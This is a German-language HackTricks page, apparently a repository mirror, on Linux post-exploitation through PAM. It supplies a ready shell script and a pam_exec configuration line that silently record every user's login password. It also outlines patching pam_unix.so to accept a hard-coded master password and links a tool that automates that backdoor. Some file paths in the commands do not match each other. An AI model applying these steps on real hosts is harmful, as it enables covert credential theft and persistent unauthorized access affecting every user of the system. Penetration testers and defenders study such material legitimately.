hacktricks/linux-hardening/linux-post-exploitation
2024-05-05 22:18:38 +00:00
..
pam-pluggable-authentication-modules.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:18:38 +00:00
README.md Translated to German 2024-02-10 15:36:32 +00:00

Linux Post-Exploitation

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Mitschneiden von Anmeldepasswörtern mit PAM

Konfigurieren wir ein PAM-Modul, um jedes Passwort zu protokollieren, das ein Benutzer zum Anmelden verwendet. Wenn Sie nicht wissen, was PAM ist, überprüfen Sie:

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

Weitere Details finden Sie im Originalbeitrag. Hier handelt es sich nur um eine Zusammenfassung:

Technikübersicht: Pluggable Authentication Modules (PAM) bieten Flexibilität bei der Verwaltung der Authentifizierung in Unix-basierten Systemen. Sie können die Sicherheit verbessern, indem sie Anmeldeprozesse anpassen, bergen jedoch auch Risiken bei unsachgemäßer Verwendung. Diese Zusammenfassung beschreibt eine Technik zum Erfassen von Anmeldeinformationen mithilfe von PAM sowie Maßnahmen zur Minderung.

Erfassen von Anmeldeinformationen:

  • Ein Bash-Skript mit dem Namen toomanysecrets.sh wird erstellt, um Anmeldeversuche zu protokollieren. Dabei werden das Datum, der Benutzername ($PAM_USER), das Passwort (über stdin) und die IP-Adresse des Remote-Hosts ($PAM_RHOST) in /var/log/toomanysecrets.log erfasst.
  • Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (common-auth) integriert, wobei das Modul pam_exec.so mit Optionen verwendet wird, um leise zu laufen und das Authentifizierungstoken dem Skript zur Verfügung zu stellen.
  • Der Ansatz zeigt, wie ein kompromittierter Linux-Host heimlich Anmeldeinformationen protokollieren kann.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Für weitere Details siehe den Originalbeitrag. Hier ist nur eine Zusammenfassung:

Das Pluggable Authentication Module (PAM) ist ein unter Linux verwendetes System zur Benutzerauthentifizierung. Es basiert auf drei Hauptkonzepten: Benutzername, Passwort und Dienst. Konfigurationsdateien für jeden Dienst befinden sich im Verzeichnis /etc/pam.d/, wo gemeinsam genutzte Bibliotheken die Authentifizierung verwalten.

Ziel: PAM so ändern, dass die Authentifizierung mit einem bestimmten Passwort möglich ist, wodurch das tatsächliche Benutzerpasswort umgangen wird. Dies konzentriert sich insbesondere auf die gemeinsam genutzte Bibliothek pam_unix.so, die von der Datei common-auth verwendet wird und von fast allen Diensten zur Passwortüberprüfung eingebunden wird.

Schritte zur Modifizierung von pam_unix.so:

  1. Authentifizierungsanweisung finden in der Datei common-auth:
  • Die Zeile, die das Benutzerpasswort überprüft, ruft pam_unix.so auf.
  1. Quellcode ändern:
  • Fügen Sie eine bedingte Anweisung in der Quelldatei pam_unix_auth.c hinzu, die den Zugriff gewährt, wenn ein vordefiniertes Passwort verwendet wird. Andernfalls wird der übliche Authentifizierungsprozess fortgesetzt.
  1. Kompilieren und Ersetzen der modifizierten Bibliothek pam_unix.so im entsprechenden Verzeichnis.
  2. Testen:
  • Der Zugriff wird mit dem vordefinierten Passwort für verschiedene Dienste (Anmeldung, SSH, sudo, su, Bildschirmschoner) gewährt, während normale Authentifizierungsprozesse unberührt bleiben.

{% hint style="info" %} Diesen Vorgang können Sie mit https://github.com/zephrax/linux-pam-backdoor automatisieren. {% endhint %}

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: